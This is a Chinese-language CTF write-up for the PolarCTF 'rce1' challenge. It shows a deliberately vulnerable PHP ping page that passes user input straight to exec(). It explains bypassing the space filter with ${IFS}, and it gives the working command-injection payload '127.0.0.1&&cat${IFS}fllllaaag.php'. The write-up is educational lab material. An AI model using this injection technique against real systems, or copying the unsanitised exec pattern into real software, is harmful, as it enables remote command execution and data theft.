【PolarCTF】rce1

复制代码
<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/ /", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>

关键点在这

复制代码
 $cmd = "ping -c 4 {$ip}";
 exec($cmd, $res);

但是需要绕过

复制代码
if (!preg_match_all("/ /", $ip, $m))

preg_match_all会匹配$ip中的所有空格并存入到$m中,如果匹配成功即为True,但是前面有一个!,那么就会返回假

所以我们需要绕过空格过滤,成功执行

复制代码
cat /flag.txt

先尝试ls命令,得到flag的文件名

可知flag的文件为

复制代码
fllllaaag.php

通过${IFS}来代替空格

复制代码
127.0.0.1&&cat${IFS}fllllaaag.php

这里作者耍了个小心机,页面显示的是?,实际flag要在网页源代码中才能看到

相关推荐
每天一把堆栈3 小时前
pctf-pwn(2025)
网络安全·pwn
菩提小狗3 小时前
每日安全情报报告 · 2026-04-10
网络安全·漏洞·cve·安全情报·每日安全
JS_SWKJ3 小时前
网闸核心技术详解:数据“安全渡河”的物理密码
网络安全
网安情报局5 小时前
RSAC 2026深度解析:AI对抗AI成主流,九大安全能力全面升级
人工智能·网络安全
云安全助手6 小时前
OpenClaw安全深度解析:开放生态下的AI智能体风险与防护实战
人工智能·网络安全
乾元7 小时前
《硅基之盾》番外篇一:时间的折叠——AI 时代下的物理隔离与传统工控(ICS/OT)安全
网络·人工智能·安全·网络安全·架构
千枫s7 小时前
kali怎么制作所有长度的爆破字典
网络·网络安全
AI_Claude_code7 小时前
ZLibrary访问困境方案二:DNS-over-HTTPS/TLS配置与隐私保护实践
爬虫·python·网络协议·http·网络安全·https·网络爬虫
pencek7 小时前
HakcMyVM-Nebula
网络安全
188号安全攻城狮8 小时前
【前端基础知识】JavaScript 数组方法总结:从表格速查到分类详解
开发语言·前端·javascript·网络安全